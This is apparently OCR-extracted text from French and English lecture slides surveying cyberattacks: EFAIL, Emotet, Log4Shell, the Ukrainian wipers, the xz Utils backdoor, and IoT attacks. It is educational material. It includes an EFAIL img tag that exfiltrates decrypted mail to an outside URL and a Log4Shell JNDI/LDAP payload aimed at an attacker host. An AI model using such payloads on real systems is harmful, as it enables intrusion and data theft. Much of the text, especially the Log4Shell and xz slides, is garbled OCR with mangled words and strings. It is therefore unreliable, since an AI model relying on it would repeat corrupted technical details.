MIAGCSgGSIb3DQEHA6CAMIACAQAXggHXMIIBOWIB. . .
——BOUNDARY

Content-Type: text/html

n

——BOUNDARY-——

Mail client will decrypt and see the following

<img src="http://efail.de/
Secret meeting

Tomorrow 9pm

"

It just sends the cleartext to the intruder !

|http://edel.de/Secret%ZOMeetingTomorrow%209pm ‘
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https://efail.de/

Le malware-as-a-service Emotet : 2014, 2017 et 2021

Emotet a infecté 1,6 million d'ordinateurs dans le monde
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Log4Shell : 24 November 2021

"~ LOGHSHELL

An atfacker can exploit features in Loghj fo execute malicious code on a host when data controlled
by the aftacker is logged with Loghj.

An oftacker sends a g
request to a volnerable EEL/ HTTP/LL
web gpplication @ Uscr Agent: ${jndi- dap:/atacker. wit [a}

User-Agent is SCTI

fo the payload Loglj |n1crprcis the slnng a
that friggers fhe performs 4 .0
wulnefqbiliy I ®

2
8
remole [DAP query s triggered —
 5e—— igqel
= response contains\ ~“/location of Java class file
amckame———requesi fo load the class file

— closs file is loadzd-—afd execuled
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WhisperGate & Hermetic Wiper : janvier et mars 2022

" Hermetic Wiper est le plus redoutable des virus qui ont attaqué
les systémes informatiques ukrainiens’ Régis Lhoste,
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xz Utils

2024

The M macro is executed during the bulld
process and runs the maliciaus code below,

XZ Outbreak (CVE-2024-3094)

h bly LZMA2.

y ion 560 and 561

- 575’ rstcomm]| 3
Rinconmismiormiicte | tamertrepe bl Alegely to maskth ||+ testfod oma
macouschanges. || + sestlfleslood-roe_compressestana

oo

packaged nthe final releases

stsifiles/bad-3-corrupt_tzma2.xz.
Substication touncarrupt
melformedz fle .

0109 (tyare replaced with 020

« 0A2dCIare reploced it O5F
« OSFQ are replaced with 0628

2022-02-06 2023-07-08 2024-03-09 $;‘L»

0
xz/libzma
V560 & V561

“Uncorrupted®
« OKIO hitespace)arerepacedwth 060 |  bagt3-comrupt_lzmazxz

vs60 1

vs61

iblzma_la-crc64-fasto i then added §;’;?;"ﬁ“;‘ ‘::;:"vimwm B eFROGGER _
to the compilation/linking process! ess THomas Roccia

Stage 1- Bash File

£
ol

estsifiles/good-arge _compressedizma

10ecompress thefle with 2 e

Bytes ncomment 16 7954 716 ¢ L ¢

tetina et st oy ks’
ecipher the dat
5 Declphered datas decompressed usng i F 5w

heek #cerst running on L

Stage 2 - Bash File

V560 Backdoor extraction

1 Extension Mecharism
LSearchFe: s grep -orcer i st for

satres

fo e (o st

s rtoffst T Setort
savesecond fl's offet s $end
Shectstepe

i et 4

e || Bashscript
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Attaques sur I'loT depuis 2007
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Plan

Conclusion
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Conclusion
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Conclusion
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Merci pour votre attention

Questions ?

pascal.lafourcade@uca.fr
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